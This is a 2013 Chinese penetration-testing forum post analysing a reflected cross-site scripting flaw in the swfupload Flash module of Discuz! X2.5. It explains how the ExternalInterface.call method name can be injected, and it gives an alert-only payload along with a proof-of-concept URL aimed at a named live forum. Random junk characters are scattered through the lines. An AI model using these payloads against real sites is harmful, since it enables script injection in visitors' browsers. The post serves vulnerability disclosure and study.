中国网络渗透测试联盟

标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站 [打印本页]

作者: admin    时间: 2013-2-23 12:50
标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说
, o2 k/ R: b8 ]( M4 A. }8 \
2 c9 K8 v2 r. V! E9 `' gflash.external.ExternalInterface.call($methodName, $parameter)4 i; S0 W. K" u  N" E2 P
在浏览器中执行的是% c# W# D; w) b0 a

2 {8 k1 o2 r" k4 O0 J. X( Y8 G# b8 }try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
. u2 ^6 u5 Z- F5 J7 m4 i* @9 D  T对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
: @; [/ \3 z& u' P7 T5 V$ h7 |$ A' d- T" C0 d8 m/ D7 I4 H  u3 W) `! L
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
3 l' l' u: Q2 u$methodName = a())}catch(e){alert(/xss/)}//
! l8 D0 j( x% ]6 ?$ s- V& `结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。& }( _& _5 J9 N: q( c
: i3 m  U; `* }' |. _5 l6 t# ?7 ?
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }% A7 T/ G# d( `# e6 y; o

2 z9 f0 A( a  j0 n, s$ {这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )7 m0 L6 r6 ~' b& i) P7 c
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。6 X6 [# U  Q+ q5 j5 l# s' x

1 S1 P% h8 r. L) e# S* B
4 w2 [) P; O3 d! a" T& `6 ?. n" C" b% ^5 g) Q4 I
漏洞文件:upload\static\image\common\swfupload.swf
  |" s% S: F- H4 ^. R8 D9 }9 ]# g) F/ I0 X" m
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf, L8 ^1 y1 Z6 C, g4 V! q' d6 [

* h1 ^0 E' |3 [& l0 P- r$ q& y9 j
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//6 ~& q' q6 m+ \" \3 Z6 N- s
5 E, n6 J& P  y* i  y) k
) [/ g' |4 ~4 I  n) Z4 k; ^  K





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2